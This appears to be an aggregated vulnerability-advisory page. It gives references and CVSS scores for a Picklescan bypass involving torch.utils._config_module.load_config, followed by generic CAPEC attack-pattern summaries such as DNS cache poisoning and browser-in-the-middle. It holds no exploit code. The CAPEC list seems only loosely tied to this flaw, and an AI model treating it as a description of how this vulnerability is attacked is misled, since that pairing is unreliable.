"modified": "2026-09-11T19:36:47Z",
"published": "2025-08-22T16:58:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71348"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/pull/47"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-245.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-torch-utils-config-module-load-config-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config"
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-148: Content Spoofing
An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.
CAPEC-218: Spoofing of UDDI/ebXML Messages
An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
CAPEC-701: Browser in the Middle (BiTM)
An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.